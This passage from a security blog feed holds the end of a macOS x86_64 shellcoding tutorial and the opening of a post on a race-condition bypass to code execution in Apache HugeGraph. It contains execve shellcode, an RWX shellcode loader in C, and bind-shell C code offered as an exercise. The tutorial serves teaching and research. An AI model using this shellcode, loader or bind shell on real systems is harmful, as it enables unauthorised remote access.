	mov rbx, rsp 	; save the argp[1]('-c') pointer to RBX
	push rcx 	; push the NULL Terminator to the stack
</code></pre>

<p>Let’s stop here for a while, We need to place our 3rd element which is our command <code class="language-plaintext highlighter-rouge">echo "W00tW00t" &gt; /tmp/Pwned.txt</code>, Which is for a string to long and to divide it to push it on the stack will not be the best thing our shellcode will be so long. Instead we gonna use a trick to place it on the stack for example:</p>

<pre><code class="language-asm"> call array
 db 'echo "W00tW00t" &gt; /tmp/Pwned.txt', 0
</code></pre>

<p><code class="language-plaintext highlighter-rouge">call</code> pushes the address of the following <code class="language-plaintext highlighter-rouge">db</code> string onto the stack. Which will make it easier for us.</p>

<pre><code class="language-asm">bits 64

global _main

_main:

	xor rcx, rcx 	; NULL Terminator
	push rcx 	; push the NULL Terminator to the stack
	mov rdx, '/bin/zsh' 	;  our file/executable name
	push rdx 	; push the file/executable name to the stack
	mov rdi, rsp 	; fname =&gt; 1st argument which by Copy the RSP address to RDI which is the pointer to our file/executable name
	mov rbx, '-c' 	; argp[1] =&gt; the 2nd element in the arguments array
	push rbx 	; push argp[1] to the stack
	mov rbx, rsp 	; save the argp[1]('-c') pointer to RBX
	push rcx 	; push the NULL Terminator to the stack

; classic position-independent trick
	call array ; call the array label to setup the array for argp
	db 'echo "W00tW00t" &gt; /tmp/Pwned.txt', 0 ; arg[2] which is our command and including the NULL Terminator
</code></pre>

<p>Now, We need to make <code class="language-plaintext highlighter-rouge">array</code> label where it will setup the array elements and execute the <code class="language-plaintext highlighter-rouge">execve</code> syscall and then exit.</p>

<pre><code class="language-asm">bits 64

global _main

_main:

	xor rcx, rcx 	; NULL Terminator
	push rcx 	; push the NULL Terminator to the stack
	mov rdx, '/bin/zsh' 	;  our file/executable name
	push rdx 	; push the file/executable name to the stack
	mov rdi, rsp 	; fname =&gt; 1st argument which by Copy the RSP address to RDI which is the pointer to our file/executable name
	mov rbx, '-c' 	; argp[1] =&gt; the 2nd element in the arguments array
	push rbx 	; push argp[1] to the stack
	mov rbx, rsp 	; save the argp[1]('-c') pointer to RBX
	push rcx 	; push the NULL Terminator to the stack
	call array ; call the array label to setup the array for argp
	db 'echo "W00tW00t" &gt; /tmp/Pwned.txt', 0 ; arg[2] which is our command and including the NULL Terminator
	
array:
	push rbx ; arg[1] put the -c pointer into the array
	push rdi ; args[0] which is fname saved before
	mov rsi, rsp ; pass the array pointer for RSI which holds the second argument
	xor rdx, rdx ; empty rdx to use as NULL for the third argument envp
	mov rax, 0x200003B ; The BSD syscall class entry + 0x3B (which is 59 in hex) kill syscall
	syscall ; invoke/execute syscall
	
	mov rax, 0x2000001 ; The BSD syscall class entry + exit syscall
	mov rdi, 0 ; arg int rval
	syscall ; invoke/execute syscall
</code></pre>

<p>Here our shellcode, first zeroes <code class="language-plaintext highlighter-rouge">RCX</code> with <code class="language-plaintext highlighter-rouge">xor rcx, rcx</code> and <code class="language-plaintext highlighter-rouge">push rcx</code> to place an 8-byte <code class="language-plaintext highlighter-rouge">NULL</code> on the stack which will be reused as padding and as a <code class="language-plaintext highlighter-rouge">NULL</code> terminator. Next <code class="language-plaintext highlighter-rouge">mov rdx, '/bin/zsh'</code> loads the bytes for the <code class="language-plaintext highlighter-rouge">filename</code> into <code class="language-plaintext highlighter-rouge">RDX</code> and <code class="language-plaintext highlighter-rouge">push rdx</code> writes those 8 bytes to the stack so that <code class="language-plaintext highlighter-rouge">RSP</code> now points at the <code class="language-plaintext highlighter-rouge">"/bin/zsh"</code> string. <code class="language-plaintext highlighter-rouge">mov rdi, rsp</code> copies that stack pointer into <code class="language-plaintext highlighter-rouge">RDI</code>, which is the first argument to <code class="language-plaintext highlighter-rouge">execve</code> (the <code class="language-plaintext highlighter-rouge">filename</code> pointer).After that load <code class="language-plaintext highlighter-rouge">'-c'</code> into <code class="language-plaintext highlighter-rouge">RBX</code> and <code class="language-plaintext highlighter-rouge">push rbx</code>, creating the <code class="language-plaintext highlighter-rouge">"-c"</code> string on the stack; <code class="language-plaintext highlighter-rouge">mov rbx, rsp</code> saves the pointer to the <code class="language-plaintext highlighter-rouge">"-c"</code> string in <code class="language-plaintext highlighter-rouge">RBX</code> for later. Another <code class="language-plaintext highlighter-rouge">push rcx</code> places a <code class="language-plaintext highlighter-rouge">NULL</code> on the stack. The <code class="language-plaintext highlighter-rouge">call array</code> instruction is the classic position-independent trick, it pushes the address of the immediately following <code class="language-plaintext highlighter-rouge">db</code> bytes (the command string) onto the stack and then jumps to the <code class="language-plaintext highlighter-rouge">array</code> label, so the command string’s runtime address is already on the stack when <code class="language-plaintext highlighter-rouge">array</code> executes. The <code class="language-plaintext highlighter-rouge">db 'echo "W00tW00t" &gt; /tmp/Pwned.txt', 0</code> provides the NUL-terminated command that <code class="language-plaintext highlighter-rouge">zsh -c</code> will execute. Then, At <code class="language-plaintext highlighter-rouge">array</code>  label we will build the <code class="language-plaintext highlighter-rouge">argp</code> array by <code class="language-plaintext highlighter-rouge">push rbx</code> (push pointer to <code class="language-plaintext highlighter-rouge">"-c"</code>) and <code class="language-plaintext highlighter-rouge">push rdi</code> (push pointer to <code class="language-plaintext highlighter-rouge">"/bin/zsh"</code>), then <code class="language-plaintext highlighter-rouge">mov rsi, rsp</code> sets <code class="language-plaintext highlighter-rouge">RSI</code> to point at that array so <code class="language-plaintext highlighter-rouge">execve</code> receives <code class="language-plaintext highlighter-rouge">argp</code> correctly. Following <code class="language-plaintext highlighter-rouge">xor rdx, rdx</code> sets <code class="language-plaintext highlighter-rouge">RDX = 0</code> so <code class="language-plaintext highlighter-rouge">envp</code> is <code class="language-plaintext highlighter-rouge">NULL</code>. <code class="language-plaintext highlighter-rouge">mov rax, 0x200003B</code> loads the <code class="language-plaintext highlighter-rouge">BSD</code> syscall number for <code class="language-plaintext highlighter-rouge">execve</code>.</p>

<blockquote>
  <p>Note: <code class="language-plaintext highlighter-rouge">0x3B</code> = 59 decimal → <code class="language-plaintext highlighter-rouge">execve</code></p>
</blockquote>

<p>And <code class="language-plaintext highlighter-rouge">syscall</code> invokes the kernel to execute <code class="language-plaintext highlighter-rouge">execve(filename, argv, envp)</code>. If <code class="language-plaintext highlighter-rouge">execve</code> returns (i.e., it failed) the code falls through to <code class="language-plaintext highlighter-rouge">mov rax, 0x2000001</code> / <code class="language-plaintext highlighter-rouge">mov rdi, 0</code> / <code class="language-plaintext highlighter-rouge">syscall</code> which calls the <code class="language-plaintext highlighter-rouge">exit</code> syscall to terminate the process.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % nasm <span class="nt">-f</span> macho64 execute.asm                                                                                                          
shellcoding % ld <span class="nt">-o</span> execute execute.o <span class="nt">-L</span> /Library/Developer/CommandLineTools/SDKs/MacOSX15.5.sdk/usr/lib <span class="nt">-lSystem</span> <span class="nt">-platform_version</span> macOS 15.5 15.5
ld: warning: no platform load <span class="nb">command </span>found <span class="k">in</span> <span class="s1">'/Users/zeyadazima.com/shellcoding/execute.o'</span>, assuming: macOS
shellcoding % <span class="nb">ls</span> /tmp
node-compile-cache OSL_PIPE_501_SingleOfficeIPC	powerlog
shellcoding % ./execute                                                                                                                            
shellcoding % <span class="nb">ls</span> /tmp  
node-compile-cache OSL_PIPE_501_SingleOfficeIPC	powerlog Pwned.txt
/tmp % <span class="nb">cat </span>Pwned.txt 
W00tW00t
</code></pre></div></div>

<p>We can see clearly, That our shellcode is executed successfully and our file created.</p>

<h1 id="extract-shellcode">Extract Shellcode</h1>

<p>Now, Let’s extract our shellcode from the object file, So if we need to send it with our exploit. We will use <code class="language-plaintext highlighter-rouge">objdump</code> tool and will show also how to do it with <code class="language-plaintext highlighter-rouge">otool</code>.</p>

<h2 id="objdump">objdump</h2>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% objdump <span class="nt">--disassemble</span> <span class="nt">--x86-asm-syntax</span><span class="o">=</span>intel ~/shellcoding/execute.o

execute.o:	file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 &lt;_main&gt;:
       0: 48 31 c9                     	xor	rcx, rcx
       3: 51                           	push	rcx
       4: 48 ba 2f 62 69 6e 2f 7a 73 68	movabs	rdx, 0x68737a2f6e69622f
       e: 52                           	push	rdx
       f: 48 89 e7                     	mov	rdi, rsp
      12: bb 2d 63 00 00               	mov	ebx, 0x632d
      17: 53                           	push	rbx
      18: 48 89 e3                     	mov	rbx, rsp
      1b: 51                           	push	rcx
      1c: e8 21 00 00 00               	call	0x42 &lt;array&gt;
      21: 65 63 68 6f                  	movsxd	ebp, dword ptr gs:[rax + 0x6f]
      25: 20 22                        	and	byte ptr <span class="o">[</span>rdx], ah
      27: 57                           	push	rdi
      28: 30 30                        	xor	byte ptr <span class="o">[</span>rax], dh
      2a: 74 57                        	je	0x83 &lt;array+0x41&gt;
      2c: 30 30                        	xor	byte ptr <span class="o">[</span>rax], dh
      2e: 74 22                        	je	0x52 &lt;array+0x10&gt;
      30: 20 3e                        	and	byte ptr <span class="o">[</span>rsi], bh
      32: 20 2f                        	and	byte ptr <span class="o">[</span>rdi], ch
      34: 74 6d                        	je	0xa3 &lt;array+0x61&gt;
      36: 70 2f                        	jo	0x67 &lt;array+0x25&gt;
      38: 50                           	push	rax
      39: 77 6e                        	ja	0xa9 &lt;array+0x67&gt;
      3b: 65 64 2e 74 78               	je	0xb8 &lt;array+0x76&gt;
      40: 74 00                        	je	0x42 &lt;array&gt;

0000000000000042 &lt;array&gt;:
      42: 53                           	push	rbx
      43: 57                           	push	rdi
      44: 48 89 e6                     	mov	rsi, rsp
      47: 48 31 d2                     	xor	rdx, rdx
      4a: b8 3b 00 00 02               	mov	eax, 0x200003b
      4f: 0f 05                        	syscall
      51: b8 01 00 00 02               	mov	eax, 0x2000001
      56: bf 00 00 00 00               	mov	edi, 0x0
      5b: 0f 05                        	syscall

</code></pre></div></div>

<ul>
  <li>Here we can see our dissassembled code clearly and the array, etc. We need to save this into file</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>objdump <span class="nt">--disassemble</span> <span class="nt">--x86-asm-syntax</span><span class="o">=</span>intel ~/shellcoding/execute.o <span class="o">&gt;</span> execute.disasm
</code></pre></div></div>

<ul>
  <li>Now, Let’s extract the hex bytes from the <code class="language-plaintext highlighter-rouge">execute.disasm</code> file. Using command line utilities.</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% <span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'^[[:space:]]+[0-9a-f]+:'</span> execute.disasm <span class="se">\</span>
  | <span class="nb">awk</span> <span class="s1">'{for(i=2;i&lt;=NF;i++) if ($i ~ /^[0-9a-f]{2}$/) printf "%s", $i}'</span> <span class="se">\</span>
  | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'\n'</span> <span class="o">&gt;</span> shellcode.hex
shellcoding% <span class="nb">cat </span>shellcode.hex 
4831c95148ba2f62696e2f7a7368524889e7bb2d630000534889e351e8210000006563686f2022573030745730307422203e202f746d702f50776e65642e7478740053574889e64831d2b83b0000020f05b801000002bf000000000f05
</code></pre></div></div>

<ul>
  <li>Convert it to binary</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% xxd <span class="nt">-r</span> <span class="nt">-p</span> shellcode.hex <span class="o">&gt;</span> shellcode.bin
</code></pre></div></div>

<ul>
  <li>Let’s Check the Shellcode size</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% <span class="nb">wc</span> <span class="nt">-c</span> shellcode.bin
      93 shellcode.bin // 93 bytes
</code></pre></div></div>

<ul>
  <li>Generate <code class="language-plaintext highlighter-rouge">C</code> array of bytes for the shellcode</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% xxd <span class="nt">-i</span> shellcode.bin <span class="o">&gt;</span> shellcode.h
shellcoding% <span class="nb">cat </span>shellcode.h
unsigned char shellcode_bin[] <span class="o">=</span> <span class="o">{</span>
  0x48, 0x31, 0xc9, 0x51, 0x48, 0xba, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x7a,
  0x73, 0x68, 0x52, 0x48, 0x89, 0xe7, 0xbb, 0x2d, 0x63, 0x00, 0x00, 0x53,
  0x48, 0x89, 0xe3, 0x51, 0xe8, 0x21, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68,
  0x6f, 0x20, 0x22, 0x57, 0x30, 0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22,
  0x20, 0x3e, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x50, 0x77, 0x6e, 0x65,
  0x64, 0x2e, 0x74, 0x78, 0x74, 0x00, 0x53, 0x57, 0x48, 0x89, 0xe6, 0x48,
  0x31, 0xd2, 0xb8, 0x3b, 0x00, 0x00, 0x02, 0x0f, 0x05, 0xb8, 0x01, 0x00,
  0x00, 0x02, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05
<span class="o">}</span><span class="p">;</span>
unsigned int shellcode_bin_len <span class="o">=</span> 93<span class="p">;</span>
</code></pre></div></div>

<h2 id="otool">otool</h2>

<ul>
  <li>Extract Raw Section Bytes</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% otool <span class="nt">-s</span> __TEXT __text ~/shellcoding/execute.o <span class="se">\</span>
  | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'3,$p'</span> <span class="se">\</span>
  | <span class="nb">awk</span> <span class="s1">'{ for(i=2;i&lt;=NF;i++) printf "%s",$i } END{ print "" }'</span> <span class="o">&gt;</span> shellcode_otool.hex
shellcoding% <span class="nb">cat </span>shellcode_otool.hex 
4831c95148ba2f62696e2f7a7368524889e7bb2d630000534889e351e8210000006563686f2022573030745730307422203e202f746d702f50776e65642e7478740053574889e64831d2b83b0000020f05b801000002bf000000000f05
</code></pre></div></div>

<ul>
  <li>Convert to binary <code class="language-plaintext highlighter-rouge">xxd</code></li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% xxd <span class="nt">-r</span> <span class="nt">-p</span> shellcode_otool.hex <span class="o">&gt;</span> shellcode_otool.bin
</code></pre></div></div>

<ul>
  <li>Check shellcode length</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Shellcoding% <span class="nb">wc</span> <span class="nt">-c</span> shellcode_otool.bin
      93 shellcode_otool.bin
</code></pre></div></div>

<ul>
  <li>Convert it to <code class="language-plaintext highlighter-rouge">C</code> array</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Shellcoding% <span class="nb">cat </span>shellcode_otool.h
unsigned char shellcode_otool_bin[] <span class="o">=</span> <span class="o">{</span>
  0x48, 0x31, 0xc9, 0x51, 0x48, 0xba, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x7a,
  0x73, 0x68, 0x52, 0x48, 0x89, 0xe7, 0xbb, 0x2d, 0x63, 0x00, 0x00, 0x53,
  0x48, 0x89, 0xe3, 0x51, 0xe8, 0x21, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68,
  0x6f, 0x20, 0x22, 0x57, 0x30, 0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22,
  0x20, 0x3e, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x50, 0x77, 0x6e, 0x65,
  0x64, 0x2e, 0x74, 0x78, 0x74, 0x00, 0x53, 0x57, 0x48, 0x89, 0xe6, 0x48,
  0x31, 0xd2, 0xb8, 0x3b, 0x00, 0x00, 0x02, 0x0f, 0x05, 0xb8, 0x01, 0x00,
  0x00, 0x02, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05
<span class="o">}</span><span class="p">;</span>
unsigned int shellcode_otool_bin_len <span class="o">=</span> 93<span class="p">;</span>
</code></pre></div></div>

<h2 id="test-shellcode-with-loader">Test Shellcode with Loader</h2>

<p>Now, Let’s write a loader in <code class="language-plaintext highlighter-rouge">C</code> to try and execute our shellcode.</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;stdlib.h&gt;

int main(void) {
    unsigned char code[] = {
      0x48, 0x31, 0xc9, 0x51, 0x48, 0xba, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x7a,
      0x73, 0x68, 0x52, 0x48, 0x89, 0xe7, 0xbb, 0x2d, 0x63, 0x00, 0x00, 0x53,
      0x48, 0x89, 0xe3, 0x51, 0xe8, 0x21, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68,
      0x6f, 0x20, 0x22, 0x57, 0x30, 0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22,
      0x20, 0x3e, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x50, 0x77, 0x6e, 0x65,
      0x64, 0x2e, 0x74, 0x78, 0x74, 0x00, 0x53, 0x57, 0x48, 0x89, 0xe6, 0x48,
      0x31, 0xd2, 0xb8, 0x3b, 0x00, 0x00, 0x02, 0x0f, 0x05, 0xb8, 0x01, 0x00,
      0x00, 0x02, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05
    };
    size_t len = sizeof(code);

    pid_t pid = fork();
    if (pid &lt; 0) {
        perror("fork");
        return 1;
    }

    if (pid == 0) {
        // child: allocate RWX, copy shellcode and execute
        void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC,
                          MAP_ANON|MAP_PRIVATE, -1, 0);
        if (exec == MAP_FAILED) {
            perror("mmap");
            _exit(127);
        }
        memcpy(exec, code, len);

        // print from child so you can see it if child doesn't get replaced
        printf("[child %d] executing shellcode (%zu bytes)...\n", getpid(), len);
        fflush(stdout);

        int (*func)() = (int(*)())exec;
        int r = func(); // if shellcode calls execve, child will be replaced
        // If returned, report and exit child
        printf("[child %d] shellcode returned %d\n", getpid(), r);
        fflush(stdout);
        _exit(r &amp; 0xFF);
    } else {
        // parent: wait for child and then check side-effect
        int status = 0;
        printf("[parent %d] spawned child %d, waiting...\n", getpid(), pid);
        fflush(stdout);

        if (waitpid(pid, &amp;status, 0) == -1) {
            perror("waitpid");
            return 2;
        }

        if (WIFEXITED(status)) {
            printf("[parent] child exited with status %d\n", WEXITSTATUS(status));
        } else if (WIFSIGNALED(status)) {
            printf("[parent] child killed by signal %d\n", WTERMSIG(status));
        } else {
            printf("[parent] child ended with status 0x%x\n", status);
        }

        // small sleep to allow any async side-effects to settle
        usleep(200000);

        const char *check_path = "/tmp/Pwned.txt";
        if (access(check_path, F_OK) == 0) {
            printf("[parent] Success: '%s' exists.\n", check_path);
            return 0;
        } else {
            printf("[parent] Failure: '%s' not found (errno=%d: %s)\n",
                   check_path, errno, strerror(errno));
            return 3;
        }
    }
}
</code></pre>

<p>The loader’s job is simple: it stores raw machine-code bytes (the shellcode) in a C <code class="language-plaintext highlighter-rouge">unsigned char</code> array, allocates a memory region with execute permission, copies the bytes into that region, casts the region pointer to a function pointer, and then calls it. That direct transfer of control is what lets the program run arbitrary machine code in the address space of the process. Because the shellcode can call <code class="language-plaintext highlighter-rouge">execve</code>, <code class="language-plaintext highlighter-rouge">_exit</code>, crash, or otherwise change the process state, the loader must be written with the understanding that control might never return to the original C runtime after the call into the shellcode. In the original single-process loader, <code class="language-plaintext highlighter-rouge">unsigned char code[] = { ... };</code> places the bytes in the program’s data segment; <code class="language-plaintext highlighter-rouge">size_t len = sizeof(code);</code> computes the number of bytes to map and copy. The program then calls <code class="language-plaintext highlighter-rouge">mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE, -1, 0)</code>. This requests an anonymous (no-file-back) memory mapping with read, write and execute permissions; <code class="language-plaintext highlighter-rouge">NULL</code> lets the kernel choose the address, <code class="language-plaintext highlighter-rouge">len</code> is the requested size, and <code class="language-plaintext highlighter-rouge">MAP_ANON|MAP_PRIVATE</code> means the mapping is private and not backed by a file. If <code class="language-plaintext highlighter-rouge">mmap</code> fails (returns <code class="language-plaintext highlighter-rouge">MAP_FAILED</code>) the loader prints the error and exits. After a successful mapping the loader uses <code class="language-plaintext highlighter-rouge">memcpy(exec, code, len)</code> to place the shellcode bytes into the mapped pages, then casts the <code class="language-plaintext highlighter-rouge">void *</code> returned by <code class="language-plaintext highlighter-rouge">mmap</code> to a function pointer (<code class="language-plaintext highlighter-rouge">int (*func)() = (int(*)())exec;</code>) and calls <code class="language-plaintext highlighter-rouge">func()</code>. Casting a data pointer to a code pointer and invoking it is implementation-defined in the C standard, but is the de‑facto technique used on <code class="language-plaintext highlighter-rouge">POSIX</code> systems for this purpose. What can happen when the call to <code class="language-plaintext highlighter-rouge">func()</code> executes depends entirely on what the shellcode does. If the shellcode is written to return cleanly it will restore registers and the stack appropriately and the loader continues execution after the call. If the shellcode invokes <code class="language-plaintext highlighter-rouge">execve()</code> successfully, the kernel replaces the entire process image with a new program, so none of the loader’s code after the call executes. If the shellcode calls <code class="language-plaintext highlighter-rouge">_exit()</code> or the process receives a fatal signal (segfault, illegal instruction), the process terminates and again no post-call statements run. Shellcode that corrupts the stack or registers without restoring them will also produce undefined behavior in the loader when control returns. In short: seeing only the pre-exec print usually means the shellcode either replaced or terminated the process or crashed it before your post-exec prints could run. A forked-loader variant is useful because it isolates the untrusted shellcode in a child process while the parent remains alive to observe results. When the program <code class="language-plaintext highlighter-rouge">fork()</code>, the child repeats the mapping, copy and invocation of the shellcode; any <code class="language-plaintext highlighter-rouge">execve</code> or <code class="language-plaintext highlighter-rouge">_exit</code> inside the child affects only the child. The parent calls <code class="language-plaintext highlighter-rouge">waitpid(child, &amp;status, 0)</code> to get the child’s exit status and can report whether the child exited normally, was killed by a signal, or returned a particular code. The parent can also check for side-effects such as files written by the child (for example <code class="language-plaintext highlighter-rouge">/tmp/Pwned.txt</code>) and print reliable diagnostics. This pattern is ideal for debugging shellcode that tends to replace or terminate its host process — the parent becomes the stable observer.</p>

<ul>
  <li>Compile and Test the shellcode with the loader</li>
</ul>

<pre><code class="language-C">zeyadazima.com% clang -o cloader cloader.c
zeyadazima.com% ./cloader 
[parent 29373] spawned child 29374, waiting...
[child 29374] executing shellcode (93 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
</code></pre>

<p>As we can see our shellcode executed successfully with no issues.</p>

<h1 id="exercises">Exercises</h1>

<p>If you want to dive deeper more, you can do this exercise which is involving in creating a <code class="language-plaintext highlighter-rouge">BindShell</code> shellcode and execute it.</p>

<p>Here all the things you need for the excersice:</p>

<ul>
  <li>BindShell <code class="language-plaintext highlighter-rouge">C</code> code</li>
</ul>

<pre><code class="language-C">// Source - https://stackoverflow.com/q
// Posted by gatorface, modified by community. See post 'Timeline' for change history
// Retrieved 2025-11-10, License - CC BY-SA 3.0

// Author:  Julien Ahrens (@MrTuxracer)
// Website:  http://www.rcesecurity.com 

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;

int main(void)
{
    int i; // used for dup2 later
    int sockfd; // socket file descriptor
    int clientfd; // client file descriptor
    socklen_t socklen; // socket-length for new connections

    struct sockaddr_in srv_addr; // server aka listen address
    struct sockaddr_in cli_addr; // client address

    srv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
    srv_addr.sin_port = htons( 1337 ); // server port, converted to network byte order
    srv_addr.sin_addr.s_addr = htonl (INADDR_ANY); // listen on any address, converted to network byte order

    // create new TCP socket
    sockfd = socket(2, 1, 0);

    // bind socket
    bind( sockfd, (struct sockaddr *)&amp;srv_addr, sizeof(srv_addr) );

    // listen on socket
    listen(sockfd, 0);

    // accept new connections
    socklen = sizeof(cli_addr);
    clientfd = accept(sockfd, (struct sockaddr *)&amp;cli_addr, &amp;socklen );

    // dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
    for(i = 0; i &lt;= 2; i++)
        dup2(clientfd, i);

    // magic
    // execve( "/bin/sh", NULL, NULL );

    //UPDATE: fixed exec call, shell still not returned to
    // client connecting with execl or proper execve
    execl("/bin/sh", "/bin/sh", (char *)NULL);
}

</code></pre>

<p>Tasks:</p>

<ul>
  <li>Use <code class="language-plaintext highlighter-rouge">execve()</code> instead of <code class="language-plaintext highlighter-rouge">execl</code></li>
  <li>Collect the syscall for <code class="language-plaintext highlighter-rouge">socket</code>,<code class="language-plaintext highlighter-rouge">bind</code>,<code class="language-plaintext highlighter-rouge">listen</code>,<code class="language-plaintext highlighter-rouge">accept</code> and <code class="language-plaintext highlighter-rouge">dup2</code>. As you will use it to build your <code class="language-plaintext highlighter-rouge">BindShell</code>.</li>
  <li>Study the functions arguments and get it ready for the functions/syscalls</li>
  <li>Make sure to go around with the <code class="language-plaintext highlighter-rouge">struct</code>, Cause it’s similler to the way we built arrays</li>
  <li>Make sure to use the kernel source code to hop-around to find a variable value, like the <code class="language-plaintext highlighter-rouge">#define AF_INET</code> for example and explore the source code to help you creating your shellcode.</li>
</ul>

<h2 id="help-">Help ?</h2>

<p>If you got any questions or need help, You can contact me:</p>
<ul>
  <li><a href="https://www.linkedin.com/in/zer0verflow/">Linkedin</a></li>
  <li><a href="https://x.com/AzimaZeyad">Twitter/X</a></li>
  <li>Email: <a href="mailto:contact@zeyadazima.com">contact@zeyadazima.com</a></li>
  <li>Discord: <code class="language-plaintext highlighter-rouge">.killer_1337</code> including <code class="language-plaintext highlighter-rouge">.</code></li>
</ul>

<h1 id="conclusion">Conclusion</h1>

<p>We explored the fundamentals of writing shellcode on <code class="language-plaintext highlighter-rouge">macOS</code> for the <code class="language-plaintext highlighter-rouge">x86_64</code> architecture. We set up a proper lab environment, understood the <code class="language-plaintext highlighter-rouge">XNU</code> kernel and its syscall classes, and clarified calling conventions and register usage crucial for crafting shellcode. By following a structured workflow—starting from <code class="language-plaintext highlighter-rouge">C</code> code, identifying syscalls, converting to assembly, and handling arguments—we successfully created shellcodes for printing text, terminating processes, and executing commands. Through these examples, we demonstrated practical techniques such as handling arguments on the stack, using position-independent code, and correctly invoking syscalls in the <code class="language-plaintext highlighter-rouge">BSD</code> subsystem of <code class="language-plaintext highlighter-rouge">macOS</code>. This foundation sets the stage for more advanced topics.</p>

<h1 id="references">References</h1>

<ul>
  <li>https://codebrowser.dev/</li>
  <li>https://man.freebsd.org/</li>
  <li>https://pubs.opengroup.org</li>
  <li>https://man7.org/linux/man-pages/</li>
  <li>https://opensource.apple.com/releases/</li>
  <li>https://github.com/apple-oss-distributions/xnu</li>
  <li>https://xcodereleases.com</li>
  <li>https://newosxbook.com</li>
</ul>]]></content><author><name>Zeyad Azima</name></author><category term="MacOS" /><category term="MacOS" /><summary type="html"><![CDATA[macOS Shellcoding in depth on x86_64.]]></summary></entry><entry><title type="html">Bypass 2 RCE: Apache HugeGraph Server</title><link href="https://github.com/exploit%20development/rce_hugegraph/" rel="alternate" type="text/html" title="Bypass 2 RCE: Apache HugeGraph Server" /><published>2025-09-18T00:00:00+00:00</published><updated>2025-09-18T00:00:00+00:00</updated><id>https://github.com/exploit%20development/rce_hugegraph</id><content type="html" xml:base="https://github.com/exploit%20development/rce_hugegraph/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>During my ongoing security research into Apache products, specifically focusing on Remote Code Execution (RCE) vulnerabilities, I discovered a fascinating and critical flaw in Apache HugeGraph Server’s latest version(1.5.0). This vulnerability represents a unique case where the same malicious payload that gets consistently blocked during individual testing can successfully execute when sent as part of bulk concurrent requests.</p>

<h1 id="background-previous-work">Background: Previous Work</h1>

<p>My journey with HugeGraph began with analyzing <a href="https://github.com/Zeyad-Azima/CVE-2024-27348">CVE-2024-27348</a>, a vulnerability I previously worked-on that allowed bypassing sandbox restrictions to achieve RCE through Gremlin. You can read my detailed analysis <a href="https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/">here</a> for more understanding of the <code class="language-plaintext highlighter-rouge">SecurityManager</code> and How it executes scripts.</p>

<p>After that discovery, I became determined to find ways to bypass the subsequent security mitigations implemented by the Apache team. My initial manual testing with various payloads yielded nothing promising—every attack vector seemed to be properly blocked by the enhanced SecurityManager.</p>

<h1 id="the-unexpected-discovery">The Unexpected Discovery</h1>

<p>Frustrated by the apparent effectiveness of the new security controls, I decided to automate my testing approach. I asked an LLM to generate a comprehensive testing script that would include multiple different payloads and test them systematically. The generated script included over 50 different attack payloads across 3 different testing approaches. When I executed this bulk testing script, something unexpected happened: <strong>some payloads were getting accepted and executing successfully</strong>. Initially, I assumed this was normal behavior—perhaps some payloads had found new bypass techniques. However, when I extracted these “successful” payloads to test them individually for debugging purposes, the SecurityManager blocked every single one. Confused, I ran the bulk script again. This time, <strong>different payloads that had been blocked before were now succeeding</strong>. This inconsistent behavior was the key that unlocked a much deeper vulnerability.</p>

<h1 id="the-analysis">The Analysis</h1>

<p>After extensive analysis, I discovered that the root cause might be a <strong>Time-of-Check Time-of-Use (TOCTOU) race condition</strong> in the <code class="language-plaintext highlighter-rouge">HugeSecurityManager</code> class. The vulnerability exists in how the SecurityManager determines whether a dangerous operation (like <code class="language-plaintext highlighter-rouge">Runtime.exec()</code>) is being called from within Gremlin/Groovy execution context.</p>

<p>Here’s the vulnerable code in <code class="language-plaintext highlighter-rouge">hugegraph-core/src/main/java/org/apache/hugegraph/security/HugeSecurityManager.java</code>:</p>

